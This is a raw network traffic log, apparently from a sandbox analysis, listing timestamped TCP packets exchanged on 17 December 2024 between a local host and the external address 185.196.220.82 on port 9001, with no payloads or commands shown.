Dec 17, 2024 11:49:50.984611034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.984683990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.984730959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.984882116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.985414982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.985465050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.985558033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.985596895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.986284971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.986375093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.986466885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.987282991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.987358093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.987375021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.987453938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.987807989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.987900019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.987926006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.987973928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.988600016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.988611937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.988641024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.988670111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.989332914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.989345074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.989403009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.989403009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.990106106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.990171909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.990201950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.990258932 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.990961075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.990973949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.991029978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.991029978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.991755009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.991812944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.991837978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.992064953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.992456913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.992557049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.992583036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.992683887 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.993206024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.993388891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.993417025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.993464947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.994146109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.994199991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.994208097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.994254112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.994857073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.994905949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.995008945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.995615959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.995796919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.995898008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.996416092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.996463060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.996522903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.997131109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.997375965 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.997397900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.997629881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.997915030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.998462915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.998492002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.998717070 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.998925924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.999058008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.999196053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.999491930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.999535084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:50.999631882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:50.999768019 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.000302076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.018105030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.026271105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.033648968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.035336971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.088845968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.088989019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.089097977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.089273930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.089380980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.089472055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.089723110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.089874029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.089895964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.090518951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.090564013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.090584993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.091243982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.091265917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.091289997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.091334105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.093008995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.093115091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.093127012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.093168974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.093183994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.093183994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.093245983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.093698025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.093739033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.093878031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.093918085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.094544888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.094775915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.094799995 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.094858885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.095307112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.095429897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.095484018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.096056938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.096162081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.096390009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.096750975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.096823931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.096853971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.097546101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.097619057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.097656012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.098346949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.098428011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.098428965 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.098475933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.099116087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.099241972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.099343061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.099971056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.100101948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.100203037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.100733042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.100889921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.100965977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.101481915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.101591110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.101644039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.102324963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.102390051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.102436066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.103266001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.103322029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.103372097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.103835106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.103907108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.103996992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.104631901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.104767084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.104878902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.105353117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.105427027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.105530977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.105571032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.106151104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.106275082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.106318951 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.107023954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.107067108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.107111931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.107812881 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.107928038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.108128071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.108515024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.108594894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.108601093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.158705950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.171390057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.171411991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.171442986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.171746969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.171804905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.171825886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.172921896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.173015118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.173070908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.173578024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.173649073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.173671007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.174104929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.174165010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.174190998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.174897909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.175025940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.175045013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.175718069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.175812960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.175889015 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.176455021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.176592112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.176635027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.177233934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.177318096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.177349091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.178097010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.178174973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.178209066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.178796053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.178903103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.179013014 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.179594994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.179645061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.179738998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.180383921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.180488110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.180519104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.181195021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.181279898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.181309938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.181950092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.182005882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.182265997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.182755947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.182809114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.182841063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.183536053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.183573008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.183715105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.184330940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.184385061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.184479952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.185158968 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.185271978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.185292006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.185923100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.186008930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.186043024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.186707020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.186778069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.186788082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.187510014 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.187573910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.187661886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.188262939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.188333035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.188399076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.189083099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.189172029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.189191103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.189814091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.189919949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.189928055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.190618038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.190696001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.190709114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.191459894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.191472054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.191536903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.244127035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.244215012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.244277000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.246999025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.280519962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.280534029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.280599117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.280883074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.280956984 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.280987024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.281040907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.281660080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.281744003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.281764030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.281811953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.282493114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.282548904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.282560110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.282701015 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.283267975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.283364058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.283397913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.283590078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.284065008 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.284116030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.284183025 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.284223080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.284817934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.284861088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.284933090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.284982920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.285712004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.285789967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.285850048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.286155939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.286391973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.286467075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.286492109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.286529064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.287178993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.287247896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.287333012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.288009882 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.288053989 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.288110971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.288348913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.288764954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.288851023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.288870096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.288906097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.289518118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.289653063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.289665937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.289827108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.290335894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.290473938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.290491104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.290692091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.291084051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.291129112 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.291189909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.291259050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.291893005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.291982889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.292118073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.292756081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.292855978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.292907953 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.293450117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.293528080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.293531895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.293669939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.294220924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.294291973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.294302940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.294348955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.295001030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.295053005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.295075893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.295172930 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.295794010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.295846939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:51.295931101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:51.295986891 CET	49784	9001	192.168.2.6	185.196.220.82
